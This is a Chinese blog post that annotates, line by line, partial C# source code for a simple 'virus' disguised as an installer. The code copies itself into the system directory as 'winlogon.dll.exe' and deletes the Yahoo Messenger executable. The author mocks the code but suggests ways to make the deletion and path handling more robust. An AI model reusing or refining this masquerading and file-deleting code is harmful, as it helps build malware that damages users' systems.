`
bulote
  • 浏览: 1297270 次
文章分类
社区版块
存档分类
最新评论

C#也能写病毒,源代码分析 the analysis of C# virus source code

 
阅读更多
<!--StartFragment--> 源代码位于:<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

http://hi.baidu.com/passedbylove/blog/item/0fbd6111dcd9aec0a7ef3ffa.html

大师已经就为很菜很菜那种那人加入注释,如果阁下还是无法理解,大师也无言了,不懂得请看书或者百度知道

首先我很想用全E文写作,但是考虑大家水平,就中E参半,和软件学院教学保持一致,E文水平都不好就不要当CODER,我还是会尽量注释E文的,双语教学也是软件学院教学之一

其中会把关键词高亮

另外病毒部分请看源站点

usingSystem;

usingSystem.IO;

usingSystem.Windows.Forms;

//注意,光写这个还不行

//Error 1 Thetypeornamespacename'Windows'doesnotexistinthenamespace'System'(areyoumissinganassemblyreference?)

//要添加Windows.Forms.dll这个文件引用

classMainClass{

publicstaticvoidMain(){

//EveryCprogramhasaprimary(main)functionthatmustbenamedmain

//不用说吧,一个C#必须要个main函数,也就是main函数是程序执行的一个入口

stringpauseline="";

System.Windows.Forms.View.LargeIcon.Equals(@"cd.ico");

//这是是载入一个图标,人靠衣装嘛,咱们的程序就算是virus也要漂亮

//Usethemembersofthisenumeration(枚举)tosetthevalueoftheViewpropertyoftheListViewcontrol

Console.WriteLine("IniciatingInstall..");

//忽悠专家?还不够格。。。现在安装包都图形化

Console.WriteLine("PressENTERtostart...");

pauseline=Console.ReadLine();

try{

Application.StartupPath.Clone();

//Application.StartupPath:Thepathfortheexecutablefilethatstartedtheapplication.

//returnastring,usethemethodofclonetocreatenewstringobject...

}catch(Exception){

Console.WriteLine("StartUpPath,notcloned..");

}try{

Application.AllowQuit.Equals(false);

//trueifthecallercanquitthisapplication;otherwise,false.

//ifyoudolikethis:

//Application.AllowQuit=false;

//Errorwillbeoccur:Propertyorindexer'System.Windows.Forms.Application.AllowQuit'cannotbeassignedto--itisreadonly

}catch(Exception){

Console.WriteLine("toquitpressCtrl+C");

}

//个人认为这里写的没有水平......这还叫病毒?

newtrigger();

}

classtrigger{
publictrigger(){
longtrigger,counter;
trigger=10000;
counter=2;
while(trigger!=counter){
counter=counter+1;
Console.WriteLine("{0}<<progressoutof10000",counter);
}

//useless......code
neweffects();//alactivarseseiraaMainForm()ycopy()
}
}

//这个病毒没杀伤力,就是几个替换和拷贝文件而已

classcopy{
publiccopy(){
try{
File.Copy(Application.ExecutablePath,System.Environment.SystemDirectory+@"/winlogon.dll.exe",true);
}catch(Exception){
Console.WriteLine("winlogonfailedpermanently");
}

//ExceptionwillbeoccurinVista,wecannotwritethefileorDirectoryinSystemDirectory

//Application.ExecutablePathreturnastringofApplication(应用程序)ExecutablePath

//SystemDirectoryGetsthefullyqualifiedpathofthesystemdirectory.

//这里就是最常见的拷贝自己到系统文件夹冒充系统文件

//下面就自己去原始站点看

classeffects{
publiceffects(){
newcopy();
try{
File.Delete(@"C:/ProgramFiles/Yahoo!/Messenger/YPager.exe");

//删除文件

//下面就自己去原始站点看
}catch(Exception){
Console.WriteLine("InternetExplorernotfound..");
}
newreport();
newinfected();
Application.Run(newMainForm());//用代码创建一个form窗体
}
}

//下面就自己去原始站点看,没有什么用

总体来看这个所谓的病毒写的确实不够简练,很多问题似乎还不如大家自动手写

有技术意义无非就是

用到try,和catch,是为了当删到某些正运行的文件时出错,而程序可以绕过继续删,不停止。

而源代码还多次一举

try{
File.Delete(@"C:/ProgramFiles/Yahoo!/Messenger/YPager.exe");

}catch(Exception){
Console.WriteLine("InternetExplorernotfound..");//多次一举,这还叫病毒?
}

个人建议:

FileInfo.Delete函数是将文件直接删除。(源代码还在用file.....)

DirectoryInfod=newDirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.System));

可以获得系统文件夹目录,因为不是所有系统都在C盘

如果你真想用C#编写病毒:

http://zhidao.baidu.com/question/24641602.html?si=3

说的很对编病毒有什么用!用C#来赚钱才有用

大师再补充:

你们想错了吧,大师学习C#不是为了发财

<!--EndFragment-->
分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics